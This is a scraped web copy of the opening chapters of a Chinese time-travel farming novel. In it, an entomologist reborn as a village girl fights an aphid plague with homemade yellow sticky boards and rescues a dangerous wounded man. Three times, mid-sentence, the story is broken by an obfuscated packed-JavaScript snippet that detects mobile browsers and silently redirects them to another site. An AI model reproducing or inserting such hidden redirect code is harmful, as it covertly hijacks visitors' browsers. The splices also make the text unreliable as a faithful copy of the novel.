《谁来了都得种田》 1. 蚜虫（一） 大成三十年，金台县，石湾村。 正直仲春，即便日头已到正午，风里依旧带着点寒意。 乔元坐在后院的榆树下，随手紧了紧身上的麻布外衣，正一眼不错的紧盯着地面。 粗壮的榆树底下，一群头胸呈现深褐色，基部则为黑色的蚂蚁们，正在搬运她丢下的几粒米糠。 除此之外，在她的凳脚旁，还有一个用木板搭建起来的临时观察箱。 乔元拿着树枝的右手微动，在沙地上不断地记录着什么。 过了良久，她终是垂下右手，把头一仰，双目放空。 这群小黄家蚁不管是胸腹特征，还是他们的以信息素交流的习惯，都和她原来所在的世界别无二致。 生物的衍变并非一蹴而就，在不同的历史时期会具有不同的特征，绝无可能出现像现在一样的物种平行演替。 这个世界并不存在于她原来世界的历史之上。 乔元原本是现代昆虫研究员，偶然听说有人在雨林里发现了新的蝴蝶亚种，正当她着急去观察的时候，却在途中意外出了车祸，等醒过来时就成了这个朝代同名同姓的乔家二姐儿。 “二姐姐。”有叫喊声由远及近而来。 乔元回头，一个扎着童髻一身褐色麻布短衫的孩童正向她蹦跳着靠近。 “二姐姐，阿娘让我跟一你起去给爹爹他们送饭呢。”孩童还没她半腰高，及道她跟前了才脆生生地开口道。 乔元点了点头，随之起身。 乔家算不上富裕，算上堂屋总共也就两间房还是用茅草封的顶，厨房则是将就着搭在了堂屋和后院的拐角上，逼仄不说，容下两个成年人都算是勉强。 “阿娘，我来拿饭。”乔元绕过后院，对着在厨房里忙碌的妇人说道。 厨房里的妇人穿着半旧不新的粗布衣裳，在炊烟里尽显疲态。听到乔元来了，她急忙擦干手，将灶台上的一篮子烙饼递到乔元手里。 蓝色碎花的盖布底下，颜色金黄松软可口的烙饼正一个个乖巧地躺在篮子里。 周素仔细看了看乔元，再顺手帮她理了理被风吹乱的头发，关切的叮嘱道：“元姐儿，你身子刚好，把饭送过去给爹爹他们就早些回来。” “好。”乔元应了一声，朝她笑了笑示意不必担心。随后小心地提着篮子，带着弟弟乔永言往田间走去。 石湾村的布局算得上简单，南边是农户们的房子，田垄则被开垦在村头以北。为了方便行走，农户们在村子的正中间修了条石子路，只要穿过它田地就到了。 春耕农忙，家家户户的男丁都扎根在了地里，田间地头到处都是来送饭的人。 正午的日头虽然不如夏天毒辣，但男人们总归是在地里劳作了一个早上，现下能休息的时候，大多三五成群的聚在树荫下。 只是今日却有些不同寻常。 路口的榆树下聚满了人，稍高些虬曲的树根上，端坐着一位老者。老者衣着朴素，瘦弱枯槁，深褐色脸上布满了风霜的痕迹，但唯独他的一双眼睛，依旧锐利深邃，仿佛能洞察人心。 站在他面前的高个汉子向老者行了一礼，而后道：“里正，我们也是没法子了才请了您来。去年大旱，大家的日子都不好过。好容易今年能安定下来种上些麦子，却没曾想这地里到处长满了蚜子，现下种的麦子全被啃了，您可给发句话吧。” 有人附和道：“是啊，我今日在地里抓了一早上，可刚抓完的麦子，眨眼间又飞上了蚜子。” “眼看着麦子要抽穗了，再这样下去可怎么得了。” “要是今年秋收的田税交不上，我们整村人都脱不了干系。” 人群骚动起来，间或夹杂着女人的哭声，或是低泣或是哭嚎。 “静一静，大家都静一静。”老者双手抵着拐杖，从树根上站起，拿着拐杖在地上重重地敲了几下。 “乡亲们，我自是知道今年蚜子害的厉害。前些日，我来来回回去了县衙好几趟，终于得见知县一面，把这件事同他说了，只是……” “只是什么？里正快快说罢。”有人急道。 老者叹了口气，道：“知县说了，不仅是我们石湾村，稍远些的梁村，汴水村也全都遭了害，若是只少我们的田税，别的村定有异议。倒不如该多少就多少，粮食不够就拿银钱来补。” 老者话一出，在场众人哗然。 “今年的丁税还没交，若是秋收的田税还要收现银，这日子可怎么过啊！” “我家田地本就不多，全靠秋收的麦子去交田税，这不是逼着我们一家去死吗！” “狗官！他整日吃香喝辣，倒叫我们受这苦楚。” 身边的人拉了说话的男人一把，“你且小声些吧。” 男人义愤道：“我怕他什么，我爹娘早死了，家里而今只我一个，我今日非骂他不可。” 站在老者身边的高个汉子眉头紧皱，他再次向老者行了一礼道，“还请里正想想办法，救救石湾村吧。” “为今之计，也只能各家各户出个人来，日夜不停在地里抓蚜子了。” 老者抬头看向身边的高个汉子，“伯石，此时可能交由你来办？” 高个汉子乔伯石点了点头。 他沉吟半刻，才转身对众人道：“既如此，每家出一个男丁，从今日戌时开始，每两个时辰轮一次，由我带着在地里捉蚜子。稍后我暂拟一份名单出来，届时还请叫到名字的乡亲准时到地里，劳烦诸位了。” “也罢，这蚜子一日不除，我连觉都睡不好，还不如起来捉它！” “正是，伯石，你且把我名字记上去。” …… 人群喧闹了一阵，渐渐散去，站在外围的乔元虽说听不真切，也大致了解了事情经过。 她站在原地拧眉思索，大旱过后地里长了蚜子？ 虽说她还不清楚这蚜子是什么昆虫，但在旱灾过后突然爆发，乔元心下有了几个备选答案。 “爹爹。”站在乔元身边的乔永言突然撒开牵着她的手，往乔满山所在的方向跑去。 “阿言，你怎么来了。”乔满山手握锄镐，刚从人堆里走出来。老实巴交的庄稼汉子指节里沾满了泥巴，见到儿子来了，粗粝的手掌放在旁边的枯草上擦了两下，这才俯身抱起儿子。 乔永言指了指还站在远处的乔元，“是二姐姐带我来的。” 他顺着儿子指的方向看去，一眼就见到了提着篮子的女儿。 暖风和煦拂过，乔满山眼里的乔元穿着水洗褪色的旧衣裳，因着前几天落水，女儿的身量显得单薄了些，巴掌大的小脸上点着一弯柳叶眉。明明该是娇弱的，可不知怎的，他倒是觉得女儿像是冬日里的蒲草，看上去柔弱无力，实际却带着一股子韧劲。 “二姐姐，你快过来吧。”乔永言朝着乔元挥手。 乔元依言，提着篮子走近二人道：“爹，阿娘让我送饭来了。” 乔满山顺手接过篮子，对乔元道：“元姐儿，现在日头毒，你身子还没好全，先带阿言回去吧。” 乔永言一听要让他走，忙趴在乔满山肩头闹起来。“我不我不，我还想和爹爹在一起，我也可以捉蚜子的。” 乔元本就对刚刚众人所说的蚜子起了浓厚的兴趣，自然不会这么轻易回家。 她道：“我身子刚好也想出来多走走，爹且让我陪着去地里罢。” 见儿子女儿都是这样的说法，乔满山也不再劝阻，带着两人往地里走去。 乔家的地离路口的榆树远上不少，过了半晌功夫，几人才到了地里。下田的垄上打着几块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367857|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被磨平的石块，石面粗糙，上有深浅不一的刻痕，一看就是下了功夫才嵌到地里的。 石面上残留着不少污泥，乔满山抱着乔永言走在前面。想起女儿走不惯田路，乔满山回头伸手想去接她一把。不料却看到从前没人扶着不敢下地的女儿，三两下就跳到了田地上。 乔满山微有些愣神，他这女儿，似乎有些不一样了。 “爹爹，怎么了？”乔元见乔满山有些怔忪的看着她，开口道。 “没事。”乔满山回过神来，转身朝着身后田地里弯腰的身影喊道：“老大，别管那些蚜子了，先过来吃饭吧。” 远处传来应答声，不一会儿，一个肌肤呈麦色的青年就从麦田后面走了出来。 乔满山掀起篮子一角，黄澄澄的饼顿时就伴着香气露了出来。 菜是新鲜挖的野菜，周素又额外混了点过年省下的菜油进去，虽比不上猪油，但好歹算是一点油水。面饼的皮也擀的极好，薄厚均匀，一口下去混合了野菜和面饼的香气，只要尝了就让人欲罢不能。 农人没那么多讲究，乔元瞧着父兄扯了点干草垫在腿肚子下，就这样大喇喇的坐在地里吃起了菜饼。 明明是极香的菜饼，两人却吃的没有滋味。 “爹，我们已经抓了三日蚜子了，可那数量非但不见少，我瞧着今日连种远些的菜地上都长出蚜子了。”大哥乔长平道。 乔满山嚼饼的速度慢下来，深深叹了口气，“我自是知道。” 今年时气不好，不知怎的刚开春地里就长满了蚜子，被蚜子吃过的麦苗极难抽穗，可就算他们日夜不眠不休地抓，也抓不完这害虫。乔满山为此事急的嘴上起了燎泡，已经几日没睡过整觉了。 “今日里正也说不出个办法，你伯石叔说，从今天起，一家出一个男丁，日夜不休到地里抓蚜子。” …… 后面的话乔元没再听，她趁着二人谈论的功夫，已经极快地沿着墒沟走了一圈。 地里的小麦已经分蘖，本该是满目青翠的小麦，此刻大都耷拉着叶片，像是被吸食干净了水分一般，显得异常萎靡。乔元凑近一看，只见小麦的茎叶上密密麻麻爬满了小米大小的黄绿色小虫。 饶是见惯了昆虫聚集场面的乔元，在见到眼前的这一堆积聚的小虫后，都觉得有些头皮发麻。 为了看的更清楚些，乔元就地蹲下，小心的扯了一片麦叶在眼前，开始仔细观察这一团黄绿色的小虫。这些小虫头部均有一对复眼和一对触角；胸部有三对腿，后腿发达；腹部膨大，末端有尾状突起。 确认无误，是蚜虫。 干旱对生态系统的影响较为复杂，但可以肯定的是，干旱过后温度重归适宜，农人为了怕植物缺水，故而供应充足的水分，才导致了潜藏了一季的蚜虫的爆发式增长。 按现代昆虫学来说，蚜虫属于半翅目蚜科，以吸食植物汁液为生。若同株植物上寄生过多，会导致植物生长受阻，叶片枯黄，严重时甚至会造成植物死亡。 这东西虽然处理起来不麻烦，但生长速度非常快，极端情况下出生五天就能孤雌繁殖。在研究院的时候，乔元就经常听到同幢楼农业科的研究员在抱怨地里又长蚜虫了，一茬接着一茬。 至于除掉蚜虫的方法……乔元皱眉略微思索，这个世界没有吡虫啉，想要彻底除掉这片蚜虫几乎不可能。 但若是放任这批蚜虫继续聚积在这里吸食小麦汁液，石湾村今年必定颗粒无收。 乔元低头看了看自己这副消瘦的身躯，也罢，毕竟自己占了人家女儿的身体，总得想办法还上这个恩情。 从遍布蚜虫的地里起身，草堆上的乔家父子也已经囫囵吃完了菜饼。 心里有了主意，乔元同两人告别，提着篮子快步带着乔永言回到家里。 2. 蚜虫（二） 彼时，周素已经收拾好厨房在堂屋等他们了。见到两人回来，周素端出剩下的饼，每个人再配上一碗略带些咸味的菜汤，一顿午饭就这样过去了。 在没有农药的情况下，物理防治是乔元能想到最快的应急方法。蚜虫具有很强烈的黄趋性，挂黄板可以起到有效的防治作用。 吃完饭在后院翻翻找找，乔元终于找到了一块合适大小的木头，只要把它刨成一块块薄薄的木片，就可以作为黄板的底子。 “阿娘，家里有黄布吗？”乔元走到前院，对着正在门口做针线活的周素道。 低矮的房檐下，周素正在缝补着乔满山的旧衣，她咬断手里的线道：“有是有，元姐儿要这个做什么？” “我想做些黄板。”乔元直言道。 周素放下手上的线筐，她难产了一天一夜才得来这个女儿，这孩子打小身子就比常人弱些，好不容易养到这样大，前几天却意外落水差点没了这条命。如今只要女儿能好好站在自己眼前，别的对周素来说都没那么重要了。 “行，你等着娘给你去找找。”农人家向来用不上这么出挑的颜色，周素只记得当年嫁到乔家来的时候她娘给她裁上了一小匹。 乔元跟着周素进了她的房间，周素的陪嫁箱子堆在她屋子的床后头，专门挂了一个帘子来分割空间。在当年的陪嫁箱子里翻上一翻，周素果然找到了一匹黄布。 周素：“元姐儿，瞧瞧，是这个颜色吗？” 乔元凑近看了看，虽说这匹布黄的不是很亮眼，但用来应急已经足够了。她双手接过黄布道：“多谢娘。” “自家人言什么谢。”周素眼带怜爱的看着乔元。 拿着黄布和剪子，乔元坐在后院开始做黄板。没过一会儿，周素也把原本放在堂屋的线筐和衣服一起拿到了后院，母女俩就这样安安静静地坐在榆树下分别忙着自己的事情。乔永言来看了几回，觉得母亲和姐姐很是无聊，便又跑了出去。 黄板不能太厚，太厚挂不高，还不容易吸引蚜虫，但像现代工业制作出来一到两毫米的厚度对乔元来说太难了，她只能尽量削的薄一些。 花了一下午时间，乔元终于做出了一些像样的板子，每一张都莫约有一个小学语文课本这么大。 黄布已经被她钉在了木板上，乔元提着挂在黄板上的线，抬高手在空中试了试，黄板在空中随风飘动，但转速却不会过快。这样既可以吸引蚜虫，又有足够的时间让它们粘在上面。 成了。 现在还有最后一样东西需要准备，就是黄板上的粘胶。 现代用的大都是丙烯酸酯类粘合剂，乔元只能从天然材料上想办法。 浆糊是古代常用的粘合剂，但粘性相对较弱，且很容易就干燥凝固。剩下可供她选择的还有树胶或者鱼胶。 树胶粘合力强，但需要加热才会有粘性，那便只能选择有常态呈凝胶状的鱼胶了。 打定主意，乔元把做好的黄板摞在一起架在榆树下，开始在后院翻找能用来捕鱼的东西。榆树的后头有一个矮小的木搭棚子，里面堆积了不少乔家人用不上的杂货和破烂，乔元在里头翻翻找找，还真让她找到了小半张破旧的网子。 网子是用藤条编的，乔元上手用力拉了一下，藤条互相牵扯被拉伸到紧绷，松开后很快又恢复了原状。 算不上结实，但用来网鱼已经足够。 乔元剪下一小块藤网，把它绑在了竹竿上，做成了钓鱼佬人手一个的简易版抄网。 原本坐在她身边的周素在缝补完旧衣后，先去了前院忙活。乔元趁着她没注意，把抄网带上小跑了出去。 “阿娘，我出去一趟。” “元姐儿你这是去哪里，马上可以吃晚饭了。”周素闻声从晾衣服的架子后抬头，只来得及见到女儿快步离开的背影。 “这孩子，身子才刚好就往外跑。”周素语气略带无奈。 乔元一边提着抄网，一边快步往河边走去。 日头已经西下，夕阳在河面洒下余晖，把河水也染成了波光粼粼的茜色，河边的芦苇长得快有两尺高了，风一吹过，叶片沙沙作响。 乔元拨开遮住人眼帘的芦苇，来到了河岸边。这个时候的河岸静悄悄的，种地的农人们还没归家，农妇们此时则大都还在家里忙着做饭。 乔元粗粗往四周扫了一眼，没人。 这样就算她空军也不至于被笑的太难看。 刚刚开春粮食紧缺，没什么能用来打窝的东西，乔元随手扯了一把河岸边上的青草，用芦苇扎成一捆，再绑上石块，抛入水中。 这是她曾经在南方科研时，当地农人常用钓草鱼的打窝方法。 乔元沿着河岸边抛下了不下三捆青草，而后坐在了几个窝点中间的柳树下，背靠树根，安静等待草鱼聚集过来。 潺潺的流水声像是白噪音，加之原主的身体实在算不上太好，才坐了一会儿，乔元就觉得自己的上下眼皮开始打架，半眯着眼，她打了个长长的哈欠。 突然，左边的河岸传出了“咕咚”一声。 有鱼！ 还在迷糊中的乔元彻底清醒，连忙拿着抄网小跑上前去看。 等她赶到最远处的青草窝点时，河面已经趋于平静，不见任何活物，乔元不信邪地用抄网在水里扒拉了好几下，一条鱼也没有。 难道是自己听错了？ 河岸弯弯绕绕，有些地方是视野盲区。有了刚才的经验，乔元生怕自己看漏了或是听漏了什么，不敢再继续坐着，而是开始拿着抄网在河岸边来回旋走。 莫约走了有一个来回，正当乔元走到最右边转头往回走的时候，远远间瞧见从河中间漂来了什么东西。 夕阳下的河面上反射着无数细小的波纹，仿佛无数碎金在闪烁，刺的人眼睛生疼。 为了看的更清楚些，乔元往近水边走了走，单手搭在眉骨上做瞭望状。 是人。 准确来说，是个赤裸上身的男人。男人仰面躺在水里，下半身随着水流起伏，即便相隔尚远，乔元一眼就能看到男人身下的水流洇出浓浓的血色。 在现代规规矩矩生活了二十六年的乔元，第一次遇到这样的情况。 感性告诉她在这个陌生的朝代看到浮尸第一眼应该撒腿就跑，但现代生命教育观念，又让她没有办法做到对水里的男人视而不见。 万一他还活着。 男人在水中沉沉浮浮，再往外飘去，就要到水流湍急的下游了。 乔元试图呼救，但这个时候的河边哪来的人，只余茫茫旷野和萧瑟风声。 深吸一口气，她强迫自己冷静下来。 男人离她还有不少距离，自己手中用来捞鱼的抄网显然够不到他，乔元左右看了看，眼尖地发现更远些的树下绑着一捆麻绳，麻绳的前半截浸在水里，应该是村里人用来绑船的。 乔元把麻绳拉上来和抄网的尾端绑在一起，麻绳浸水之后变得结实难解，耗费她了不少功夫。等她再次抬头的时候男人已经开始往下游飘去，再不拉回来就来不及了。 攥着抄网的指节开始泛白，乔元深吸一口气开始后退，退到一定距离后，她开始小跑并不断加快速度，在临近水边的一刹那，乔元扭转身体，在这个瞬间把动能发挥到最大，挥动手臂用力将抄网朝男人所在的方向投去。 此时此刻的抄网，就像一杆笔直的标枪，尾端麻绳上的水滴受到力的作用，在空气里划出薄薄的水雾，在日光的余晖下投射出斑斓色彩。 “啪嗒”一声，正中男人头部。 漂亮！ 废了九牛二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367858|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎之力，乔元终是把男人拉回了岸边。 男人身形修长高大，生的一副极好面容，轮廓分明，眉如剑锋，麦色肌肤和极具力量感的肌肉线条，莫名使他添上了几分英武之气。 可惜此时的乔元没空细看男人的样貌，她用手指贴在男人的颈部，脉搏缓而无力，像是一条断断续续的线。 还活着！但可能马上就要死了。 乔元快速起身，她得去找郎中来救人。 不料下一个瞬间，紧闭的双眼突然睁开。一双冰凉的手抵住乔元的后背，她瞬间被翻倒在地。背后传来阵阵湿意，乔元的双手被男人反绞在背后，脸则被重重地抵在地上。 “谁派你来的。”男人声音虚弱，却带着凌厉的虐杀意味。 乔元未曾想到男人已经伤成这样，居然还有如此力气。脸和肺部被压的火辣辣的生疼，每呼吸一次都极尽艰难。她只能生生从齿间挤出几个字，“我只是以为你溺水了想救你而已。” 身后的男人像是听到了什么天大的笑话一般，似笑非笑道：“救我？” 乔元强忍痛意：“我若想杀你，直接把你砸入水底便可，又何必多此一举。” 男人甩了甩头，余毒未解的他脑中不胜清明，身后的伤口泡了水之后疼的发胀，他的眼前只能朦朦胧胧地看到一个女人的轮廓。 女人身材娇小，手臂单薄，他不费吹灰之力就能把她禁锢住。大掌碰上颈部的肌肤，细腻柔软，的确不像是习武之人。 男人似是在思考乔元的话，手上的力道并没有再加重。 乔元被压的有些缺氧的脑子此刻正在飞速转动，她得想办法自救。还未等她开口扰乱对方心神，变故突如其来。 剧毒在身后男人的体内翻涌，他刚撑起的几分力道瞬间被卸的一干二净。乔元感觉到身后男人的凌厉之势锐减，他整个人都变得迟缓起来，连压制着她的双手都放松的有些不可思议。 没空去想男人为何突然如此，抓住这个时机，乔元用此生最快的速度抽出手，在地上抓了一把尘土直接扬到男人脸上。 她最先要保护的是自己的安全。 眼睛是人体最脆弱的部分，当有物体迅速朝眼睛飞来时，人会本能地闭眼以保护眼睛。就算这个男人再强，没有经过特殊训练他也敌不过人体的本能。 果然男人下意识的侧脸闭眼以躲避扬沙，可他的反应很快，在这样的情况下依旧能马上加重对乔元身体的压制。 即便男人松懈的时间很短，但这点时间已经足够乔元捡起地上的石块。她没有一点犹豫的用力往后一砸，“砰”是皮肉和石块碰撞的声音。 乔元趁机手脚并用地向前爬去，想要脱离男人的控制。可男人如同鹰爪一般的双手，紧抓着乔元的腿丝毫不放松，乔元觉得自己的小腿快要被他拧断了。 这时候也顾不得其他，乔元强忍着腿骨翻折的剧痛，用尽全身力气往男人的下身顶去。 在男人吃痛的瞬间，乔元马上把腿从男人手中抽出，站起来疯了一样地往前奔跑，不管身上有多痛，她都不敢停下。 就这样一路疯跑，直到临近村子中央的石子路了，乔元这才喘着粗气扶墙慢慢坐了下来。 周素给她梳好的发髻此刻乱成一团，额前稀稀拉拉的都是碎发。衣服上沾满泥沙，有好几处破了口子。手心和手臂满是划痕，是在河岸摔倒后留下的，更别说已经鼓起一个大包的膝盖，不用想就知道已经乌青一片了。 乔元狼狈的坐在地上自嘲的笑了笑，没想到在这个世界好不容易救个人，救上来的却是个疯子。 肾上腺素过度分泌，手脚还在轻微抽搐。自己这样乱糟糟的回去只会让家里人担心。乔元在避人的墙根地下一直坐到了日落西山，等把自己收拾好，才一瘸一拐的走回了乔家。 3. 蚜虫（三） 乔家此时乱哄哄的，周素眼看着天要黑了乔元还没回来，和从地里回来的乔满山一合计，两人生怕女儿又遭了意外，忙打发两个儿子外出去找。 乔元到门口的时候，周素正锁了门急急忙忙的往外走去。 “阿娘。”乔元低低地唤了一声。 周素眼尖看到了扶墙站着的乔元，眼眶一下红了，女儿先前出事那天，也是很晚没回家。她和当家的去找，在河边发现了呛水差点淹死的女儿。 “元姐儿你到底去哪儿了？可知道阿娘有多担心你！” 乔元咧嘴一笑，“阿娘别担心，我这不是回来了。” 周素快步走到乔元身边，拉着她上上下下看了一圈，哽咽道：“你怎的伤成这样？” “阿娘，别担心，我只是不小心跌了一跤。” “你实话告诉娘，是不是有人欺负你？！”周素声音陡然拔高，眉头紧皱。 “没有阿娘，是我回来的时候天黑没看清路，跌到了沟里才这样的。” 乔元知道周素定不会相信，她也想不出更好的借口，只好转移话题道：“阿娘，我们先进去吧，我都饿了。” 见乔元不欲多言，周素也只好把没说完话吞进肚子里，她小心地扶着乔元进了屋子，打来水想要给她擦拭伤口。 乔元怕周素看见她满身的伤要担心，随便找了个借口便自己进屋擦拭。其他地方不过是擦伤，唯有左手心的伤口深的可怖，泥沙已经完全嵌入了肉里。如果不尽快挤出来，她肯定会因为伤口感染而发热。 乔元忍着剧痛开始挤压伤口，细密的汗珠打湿了她的额发，她硬是一声不吭。直到沙子混着血水掉落干净，乔元这才粗喘了几口气，把伤口包扎起来。 “元姐儿，你好了吗？”周素在敲门。 乔元缓了缓才道：“就来。” 打开门，出去找她的父兄都回来了。周素事先和他们透了口风，两人虽然神色各异，但终究也没再多问。 沉默着吃完了饭，乔元和众人说了一声，就先回了屋子。 见乔元一走，饭桌上的几人这才压低声音开口。 乔长平蹙眉道：“阿娘，妹妹真是自己摔的吗？我看她伤的那几个地方，像被人给打的。” 乔永言：“是呀是呀，我见过小胖摔沟里，才不是这样的呢！” 周素无奈道：“我何尝看不出来，只是你妹妹……” 剩下的话周素没说出口，她只是隐隐约约觉得，自打女儿落水醒过来之后，虽然行事比从前成熟稳重了不少，但不怎的，她和女儿之间像是隔着一层纱，她反倒看不清她在想些什么了。 “行了，既然元姐儿不愿意说，你们就当不知道。”乔满山一锤定音道。“长平，你明儿去找你那些个兄弟打听打听，看元姐儿是不是受了欺负。若真如此，我们乔家也不是吃素的。” “好。” 翌日。 昨晚连续做着噩梦，乔元睡的很是不安稳，待她醒过来外头已经日上三竿。 乔元从床上起身，环顾四周，家里的男丁已经都下地去了，只剩下周素一个人在家里忙活。见她走过来，周素笑道：“元姐儿起来了，快来，阿娘给你煮了个鸡蛋。” 说罢，周素从灶眼上的小锅里宝贝似的拿出一个鸡蛋。 乔家原本养着几只老母鸡，但在乔元生病的时候，全被卖了换钱请郎中给她治病，现如今也不知这鸡蛋是怎么得来的。 乔元一只手包着纱布，她单手接过鸡蛋，看着周素带着疲惫的脸，心里有些不是滋味。 将蛋壳往墙上砸了几下敲碎，用手轻轻一拨，白白嫩嫩的鸡蛋就从壳里露出了真容。乔元边吃边思索着，蚜虫的事情不能再拖了，她今日得再去河边一趟，说什么也得把鱼胶的事情给解决了。 另一边的周素从厨房出来，端着一个大水盆往院子里的水井处走去。对着乔元道：“元姐儿，你得空些来给阿娘帮个忙。” “哎。”三两口吞完最后的半个蛋，乔元走到周素身边。“阿娘，要我做什么。” 周素把水盆放在地上，里面有好几尾鲜鱼，此刻正优哉游哉的在水里游着。 乔元面带惊喜道：“阿娘，这些鱼是打哪儿来的？” 周素从水里抓出一条，拿刀干净利落地剖腹，剔除内脏。“你陈叔送的，他昨儿个网了不少鱼回来，可惜回来太晚不方便送，就赶着今早送过来了。” 这下真是踏破铁鞋无觅处，得来全不费工夫。 乔元蹲在周素旁边：“阿娘，你能把这些鱼的鱼鳔给我吗？” “你要这些东西做什么？”周素奇道。 “阿娘你就给我吧，我有用处。”乔元趴在周素肩头撒娇，反正她在这个世界不过是个才十四岁的丫头，对着母亲撒娇可没什么错。 周素被乔元闹的没法干活，“行，那你先帮我拿点盐和竹签子来。” “好勒。”乔元应到。 等到周素收拾完，乔元终是如愿以偿地拿到了鱼鳔。鱼鳔被周素清洗的很干净，一起摞在了小筐里。 有了鱼鳔，就能做鱼胶了。 乔元拿了个小罐子，将清洗干净的鱼鳔剪成小块，放入罐子里，再加入足够覆盖鱼鳔的水，端到了厨房的小灶眼上，开始熬煮。 家里难得有些荤腥，午饭便吃了鱼汤泡饭。周素把鱼肉剔骨熬汤，加了点豆腐，又在出锅前往汤里撒了一把葱碎。碧绿的葱花点缀在奶白色的鱼汤里，煞是好看。 鱼汤泡饭鲜美无比，乔元连吃了两小碗饭这才满意的抹了抹嘴。 吃完后，她又去守着熬煮鱼鳔的小罐子。 鱼鳔难出胶，一定要熬的足够软烂才行，乔元中间来来回回添了不少次水，直到下午鱼鳔才勉强软烂。 乔元找来纱布，趁着鱼鳔还热，放在盆里用力挤压，不一会儿，盆里就出现了不少胶液。趁热打铁，乔元一直用力揉到鱼鳔出不了胶了，这才停下。 把盆子放在室外阴凉处降温，乔元和衣躺在竹制躺椅上休息了一阵。揉胶是个力气活，才用力了这一会，手上和身上的伤口就开始一阵儿一阵儿的疼。 半个时辰后。 估摸着时间差不多了，乔元去后院的阴凉处戳了一下盆里的鱼胶。鱼胶已经凉透，在常温下呈乳白色的凝胶状。乔元抿了鱼胶一点在手指上，指尖上下一碰，不用力还挺难挣开。 粘性不错。 乔元看看日头，蚜虫在清晨和傍晚时活动最为频繁，现在去地里把黄板挂上去，时间刚刚好，黄板也能发挥出最大的效用。 见乔元又扛着些稀奇古怪的东西往外走，周素忙丢下手头的东西一把就上前拦住了她。经过昨天的事情，她说什么也不愿意乔元一个人出门了。 “元姐儿，你这是又要到哪里去？”女儿连着两次晚回来都带伤，换做任何一位母亲心里都是害怕的。 乔元明白周素的顾虑，她便道：“阿娘，我想去地里一趟，你能陪我一起去吗？” 村中石子路。 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367859|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元和周素，一个人手里拿着一捆木棍和一打黄板，另一人手里端着一盆鱼胶。两个人愣是走出了千军万马的架势。 石子路上人来人往不少，见到乔家母女新奇的样子，已经有不少人开始在背后悄悄议论。 “哎呦他二婶子，你们这是要去哪儿？”还没走出石子路，周素就被人给拦了下来。 来人比周素胖上许多，嗓门奇大，嘴唇丰厚。唇角还有颗大痣，说起话来唇角的痣随着上上下下，很是滑稽。 乔元一见来人，心里头就有了数。 得，村头情报中心来人了。 周素不知道乔元心里的小九九，笑着同面前的人寒暄起来：“张家婶子来了，我们正要去地里呢。” 说罢她用手肘推了推乔元，“元姐儿，叫人。” 乔元：“婶子好。” 张秀花早就注意到了乔元，等着她来打招呼才亲热道：“元姐儿这是大好了？前几日听说你落水，可给婶子急的，只不过那几日婶子家农忙没空来看你，你不怪婶子吧？” 研究昆虫的，经常是哪里有虫往哪里跑。上山下乡都是些平常事，少不得要和农妇打交道。张秀花这话一出乔元就知道她这是在套消息呢。 乔元也不恼，假作感激道：“婶子这说的哪里话，婶子到现在都念着我，比旁人不知道强上多少，我哪有怪婶子的道理。” 张秀花听完：“瞧瞧，元姐儿这张小嘴真是会说话，都甜到婶子心坎里了。” 乔元接着道：“婶子对我好，我自是看在眼里记在心里的，可不是诓骗婶子。” 张秀花被乔元哄的嘴角上扬，定了定神才装作不经意道：“对了，他二婶子，你们拿着这些东西是要去作甚？” “我们……”周素刚要开口，就被乔元打断。 “原是不该瞒婶子的，只是兹事体大，实在是不方便说出口。”乔元面露难色。 “这孩子，你只当我是你亲婶子，哪有一家人说两家话的道理。”张秀花被勾起了好奇心，连忙追问。 乔元顺着张秀花的话说道：“本应如此，可是……唉，若是说出口，我怕是要遭天谴了。” 张秀花忙问道：“怎的就要遭天谴了？” 乔元眼神闪躲，似有难言之隐。 张秀花：“好孩子，你就跟婶子说吧，婶子发誓，绝不跟外人提及！” 乔元的眸光似有松动，她挣扎良久，终是道：“也罢，婶子待我如亲侄女，我自当告诉婶子。” 递给周素一个安慰的眼神，乔元拉着张秀花到石子路一旁的无人角落，嘀嘀咕咕说了一堆话。 张秀花的眼神从一开始的好奇到疑惑，再到最后的不可置信。神色变换之快连周素都看的都生奇。 见张秀花走了，周素这才道：“元姐儿，你和张婶子这是说了什么，她怎的这么快就走了？” “阿娘别担心，不是什么大事情。” 只不过是把她家要挂黄板的事，提前告诉了张秀花而已。当然中间还穿插了一段她在水里见到河伯，河伯传授了她一些神仙的农耕之法之类的志怪故事。 乡下没什么娱乐活动，人一空闲下来就爱说东家长西家短，她只希望张秀花别辜负她的期望，最好把这件事情闹的远近皆知。 “对了，阿娘这盆重不重，要不让我来拿吧。”乔元重新把先前放在地上的木棍和黄板抱起来，对着周素道。 周素虽有些狐疑，但还是说道：“阿娘还没老，行了，我们先去地里吧。” 4. 蚜虫（四） 等两人到了田埂上，田间剩下的人已经不多了。 